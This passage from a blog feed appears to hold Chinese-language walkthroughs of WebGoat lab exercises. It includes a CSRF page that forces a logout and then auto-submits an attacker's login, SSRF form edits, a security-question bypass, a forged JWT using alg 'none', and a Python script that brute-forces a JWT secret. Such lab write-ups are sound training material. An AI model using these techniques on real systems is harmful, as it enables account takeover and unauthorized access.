style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-8&quot;&gt;Stage 8&lt;&#x2F;h3&gt;
&lt;p&gt;先注册一个账号&lt;code&gt;scrf-[你的用户名]&lt;&#x2F;code&gt;。等会要实现打开我们设计的网站后，会偷偷把WebGoat现在登录的账号换成新注册的账号。&lt;&#x2F;p&gt;
&lt;p&gt;实现思路是先发送一个请求至&lt;code&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;logout&lt;&#x2F;code&gt;，然后发送登录请求&lt;code&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;login&lt;&#x2F;code&gt;。代码如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;DOCTYPE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;img &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;src=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;logout&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;display&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;none&lt;&#x2F;span&gt;&lt;span&gt;;&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;method=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;POST&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;action=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;login&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;type=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;hidden&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;name=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;username&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;value=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;csrf-[用户名]&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;type=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;hidden&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;name=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;password&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;value=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;[密码]&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e8bf6a;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;setTimeout(()&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;document&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;.getElementById(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;form&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;).submit();},&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e8bf6a;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;点开就实现登出并重新登录了。登陆后点一下按钮就通过了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;server-side-request-forgery&quot;&gt;Server-Side Request Forgery&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stage-2&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;如图修改表单就好了，也可以直接改请求参数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-6-vulnerable-components-request-forgeries&#x2F;.&#x2F;Stage2_jerry.png&quot; alt=&quot;Stage2_jerry&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3-1&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;SSRF，可以让服务器自己访问一些只允许&lt;code&gt;127.0.0.1&lt;&#x2F;code&gt;才能访问的资源。这里同样改表单，记得加上协议名称。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-6-vulnerable-components-request-forgeries&#x2F;.&#x2F;Stage3_ssrf.png&quot; alt=&quot;Stage3_ssrf&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=iWcRR2WcBFU&quot;&gt;Owasp Webgoat 8 Solutions - Vulnerable Components (XStream)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;419213416092&quot;&gt;10.WebGoat之请求伪造 - 简书&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>WebGoat之路-3-Broken Authentication &amp; Sensitive Data Exposure</title>
        <published>2020-10-05T00:00:00+00:00</published>
        <updated>2020-10-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/webgoat-3-broken-authentication/"/>
        <id>https://richar.top/webgoat-3-broken-authentication/</id>
        
        <content type="html" xml:base="https://richar.top/webgoat-3-broken-authentication/">&lt;h1 id=&quot;a2-broken-authentication&quot;&gt;(A2)Broken Authentication&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;authentication-bypasses&quot;&gt;Authentication Bypasses&lt;&#x2F;h2&gt;
&lt;p&gt;讲了一些简单的绕过认证的方法。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-2&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;拦截给两个参数换个名字就行了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-3-broken-authentication&#x2F;.&#x2F;Stage2_rename.png&quot; alt=&quot;Stage2_rename&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;翻了一下它的源代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;boolean &lt;&#x2F;span&gt;&lt;span&gt;verifyAccount(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Integer&lt;&#x2F;span&gt;&lt;span&gt; userId, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;HashMap&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; submittedQuestions) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(submittedQuestions.entrySet().size() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; secQuestionStore.get(verifyUserId).size()) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(submittedQuestions.containsKey(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;secQuestion0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;submittedQuestions.get(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;secQuestion0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).equals(secQuestionStore.get(verifyUserId).get(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;secQuestion0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(submittedQuestions.containsKey(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;secQuestion1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;submittedQuestions.get(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;secQuestion1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).equals(secQuestionStore.get(verifyUserId).get(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;secQuestion1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;他首先检测了参数个数，然后后面的逻辑是是，如果某个参数存在，才检测这个参数的正确性，因此只需要换两个名称即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jwt-tokens&quot;&gt;JWT tokens&lt;&#x2F;h2&gt;
&lt;p&gt;介绍JWT token的原理，和漏洞利用。&lt;&#x2F;p&gt;
&lt;p&gt;推荐一个解密的网址：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jwt.io&#x2F;#encoded-jwt&quot;&gt;jwt.io&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;直接点投票，是没法投票的。看到传了的参数中cookie中的&lt;code&gt;access_token&lt;&#x2F;code&gt;应该就是JWT。如下&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDI3NTUwMDcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.rJ6H8sUCHgv88txby4GJjczkqh3nQxePrAtjdn818404rn2IT1as2mp_OcOZ0z1tAzSTJcAC6r7bqNPh4GZvbw
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;按&lt;code&gt;.&lt;&#x2F;code&gt;分成三段，对前两段base64解密。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;Header
&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;alg&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;HS512&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;payload
&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1602755007&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;admin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;false&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;user&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Jerry&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;加密方式是HS512，实际上是HMAC with SHA-512。先尝试一下弱密码破解，但没成功。此时陷入了迷茫。网上搜了一波才知道原来可以直接改掉加密方式，把&lt;code&gt;HS512&lt;&#x2F;code&gt;直接改成&lt;code&gt;none&lt;&#x2F;code&gt;就行了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;Header
&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;alg&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;none&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;payload
&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1602755007&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;admin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;true&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;user&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Jerry&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;base64加密后得到token，注意，这里需要使用url safe的base64 ，因此把结尾的等号去掉，得到&lt;code&gt;eyJhbGciOiJub25lIn0K.eyJpYXQiOjE2MDI3NTUwMDcsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9Cg.&lt;&#x2F;code&gt;，最后有一个点不要忘了！可以直接去浏览器修改cookie。点击删除按钮，就成了。&lt;&#x2F;p&gt;
&lt;p&gt;由此题看出，服务端在验证JWT时，指定签名算法是很重要的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-5&quot;&gt;Stage 5&lt;&#x2F;h3&gt;
&lt;p&gt;刚刚写的脚本有用了，直接爆破。&lt;code&gt;hints&lt;&#x2F;code&gt;里字典都提供了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;jwt
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;token &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;R&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYwMTg4OTkzOCwiZXhwIjoxNjAxODg5OTk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.YC1qbCP3Be2FZQkmaAek69E1nlvHEwQOizCNJQhEYkM&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;pas&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;with &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;google-10000-english-usa.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;r&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;f:
&lt;&#x2F;span&gt;&lt;span&gt;    pas&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;f.readlines()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;pas:
&lt;&#x2F;span&gt;&lt;span&gt;    p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;p.strip()
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;try&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;jwt.decode(token, p,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;verify&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(p)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;except &lt;&#x2F;span&gt;&lt;span&gt;(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(p)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;except &lt;&#x2F;span&gt;&lt;span&gt;jwt.exceptions.InvalidSignatureError:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;continue
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到密码是&lt;code&gt;washington&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;然后看看里面的内容吧：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;Header
&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;alg&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;HS256&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
